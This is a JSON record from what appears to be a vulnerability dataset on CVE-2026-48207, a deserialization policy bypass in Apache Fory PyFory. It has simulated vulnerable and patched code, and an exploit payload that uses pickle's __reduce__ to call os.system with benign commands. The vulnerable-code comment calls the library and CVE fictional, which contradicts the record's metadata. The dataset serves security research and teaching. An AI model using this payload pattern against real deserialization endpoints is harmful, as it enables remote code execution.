{"id":1911,"cve":"CVE-2026-48207","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-48207\/","cwe":"CWE-502","cwe_number":502,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/502","cvss_score":9.8,"published":"2026-05-21","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Apache Fory PyFory deserialization bypasses security policy validation.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-48207\/","description":"Deserialization of untrusted data in Apache Fory PyFory. PyFory's ReduceSerializer could bypass documented DeserializationPolicy validation hooks during reduce-state restoration and global-name resolution. An application is vulnerable if it deserializes attacker-controlled data using PyFory Python-native mode with strict mode disabled and relies on DeserializationPolicy to restrict unsafe classes, functions, or module attributes.  This issue affects Apache Fory: from before 1.0.0.  Mitigation: Users of Apache Fory are recommended to upgrade to version 1.0.0 or later, which enforces DeserializationPolicy validation for the affected ReduceSerializer paths and thus fixes this issue.","solution":"Upgrade Apache Fory to version 1.0.0 or later.","affected_component":"Apache Fory","fixed_by_upgrading":true,"vulnerable_code":"import pickle\nimport os\nimport io\n\n# This code is a conceptual representation of a vulnerability similar to the\n# one described. The library 'pyfory' and the CVE are fictional. This\n# example uses Python's standard library to simulate the described flaw.\n\nclass DeserializationPolicy:\n    \"\"\"A user-defined policy meant to restrict dangerous classes\/functions.\"\"\"\n    def __init__(self, denylist):\n        # In a real scenario, this would be a more robust check.\n        self.denied_names = {f\"{item.__module__}.{item.__name__}\" for item in denylist}\n\n    def validate(self, module, name):\n        \"\"\"Checks if a class or function is allowed. This is the hook that will be bypassed.\"\"\"\n        if f\"{module}.{name}\" in self.denied_names:\n            raise PermissionError(f\"Deserialization of '{module}.{name}' is forbidden by policy.\")\n\nclass ReduceSerializer:\n    \"\"\"A serializer that is vulnerable because it fails to use the policy correctly.\"\"\"\n    def __init__(self, stream, policy):\n        self.stream = stream\n        # The policy is accepted but will be ignored in the vulnerable path.\n        self.policy = policy\n\n    def load(self):\n        # This custom Unpickler simulates the vulnerability.\n        class VulnerableUnpickler(pickle.Unpickler):\n            def find_class(self, module, name):\n                # VULNERABILITY: The policy's validation hook is not called here.\n                # The code proceeds to resolve the global name directly, bypassing\n                # the security check that the user relies on. A fixed version\n                # would call self.policy.validate(module, name) before proceeding.\n                return super().find_class(module, name)\n\n        # The vulnerable unpickler is used, which does not enforce the policy.\n        unpickler = VulnerableUnpickler(self.stream)\n        return unpickler.load()\n\ndef deserialize(data, policy=None, strict=False):\n    \"\"\"\n    Simulates the vulnerable pyfory.deserialize function from before the fix.\n    With strict=False, it uses the flawed ReduceSerializer.\n    \"\"\"\n    if strict:\n        # A non-vulnerable path would exist here, but we focus on the flawed one.\n        raise NotImplementedError(\"Strict mode is not demonstrated.\")\n    \n    # The application uses the vulnerable serializer, passing a policy that will be ignored.\n    stream = io.BytesIO(data)\n    return ReduceSerializer(stream, policy=policy).load()\n\n# --- Attacker's Code ---\n# The attacker creates a payload that executes a command upon deserialization.\n\nclass Exploit:\n    def __reduce__(self):\n        # The __reduce__ method is a hook used by pickle. It instructs the\n        # unpickler to call a specific function (os.system) with arguments.\n        command = \"echo VULNERABLE: Remote code execution has occurred.\"\n        return (os.system, (command,))\n\n# The attacker serializes the malicious object.\nmalicious_payload = pickle.dumps(Exploit())\n\n\n# --- Victim's Application Code ---\n# The victim application attempts to safely deserialize data using a policy.\n\n# 1. The user defines a policy to block dangerous functions like os.system.\nsecurity_policy = DeserializationPolicy(denylist=[os.system])\n\n# 2. The application deserializes untrusted data with strict mode disabled,\n#    believing the policy will protect it.\nprint(\"Attempting to deserialize attacker payload with a security policy...\")\ntry:\n    # The 'security_policy' is passed, but the vulnerability in ReduceSerializer\n    # means its validation rules will be bypassed.\n    deserialized_object = deserialize(\n        malicious_payload, \n        policy=security_policy, \n        strict=False\n    )\nexcept Exception as e:\n    print(f\"Deserialization failed with an error: {e}\")\n","patched_code":"import importlib\n\nclass SecurityError(Exception):\n    \"\"\"Custom exception for deserialization policy violations.\"\"\"\n    pass\n\nclass DeserializationPolicy:\n    \"\"\"\n    Defines a security policy to restrict which globals (classes, functions)\n    can be deserialized by name.\n    \"\"\"\n    def __init__(self, forbidden_globals):\n        # forbidden_globals is a set of (module_name, global_name) tuples\n        # Example: {('os', 'system')}\n        self.forbidden_globals = forbidden_globals\n\n    def validate_global_name(self, module_name, name):\n        \"\"\"\n        Validates if resolving a global name is permitted by the policy.\n        This hook is called by the fixed serializer.\n        \"\"\"\n        if (module_name, name) in self.forbidden_globals:\n            raise SecurityError(\n                f\"Policy disallows deserialization of '{name}' from module '{module_name}'.\"\n            )\n\nclass FixedReduceSerializer:\n    \"\"\"\n    A conceptual representation of the fixed serializer, demonstrating how the\n    DeserializationPolicy is now correctly enforced during global name resolution.\n    \"\"\"\n\n    def _resolve_global(self, module_name, name, policy):\n        \"\"\"\n        Represents the fixed path for resolving a global name (e.g., a class or function)\n        during deserialization.\n\n        In a vulnerable version, the policy validation step would be missing.\n        \"\"\"\n        # --- THE FIX ---\n        # The serializer now explicitly calls the policy's validation hook before\n        # attempting to import or access the global object. This prevents the bypass.\n        if policy:\n            policy.validate_global_name(module_name, name)\n        # --- END OF FIX ---\n\n        try:\n            module = importlib.import_module(module_name)\n            return getattr(module, name)\n        except (ImportError, AttributeError) as e:\n            # In a real library, this might be a more specific exception.\n            raise RuntimeError(f\"Could not resolve global '{name}' from module '{module_name}'\") from e\n\n    def loads(self, serialized_object, policy=None):\n        \"\"\"\n        Simulates the deserialization process.\n\n        In a real implementation, this method would parse a byte stream and, upon\n        encountering an opcode for a global object, would call _resolve_global.\n        This example uses a simple tuple to represent the serialized data.\n        \"\"\"\n        # Example serialized_object: ('global', 'os', 'system')\n        if isinstance(serialized_object, tuple) and serialized_object[0] == 'global':\n            op, module_name, name = serialized_object\n            \n            # The deserialization logic now funnels all global name lookups\n            # through the fixed, policy-aware resolution method.\n            return self._resolve_global(module_name, name, policy)\n\n        # In a real scenario, this would handle many other data types and opcodes.\n        return serialized_object","payload_needed":true,"payload":"```python\nimport os\nimport pickle\n\nclass Exploit:\n    def __reduce__(self):\n        command = 'id'\n        return (os.system, (command,))\n\n# To generate the payload, you would serialize an instance of this class:\n# payload = pickle.dumps(Exploit())\n```","payload_status":"available","published_fix":[],"references":null}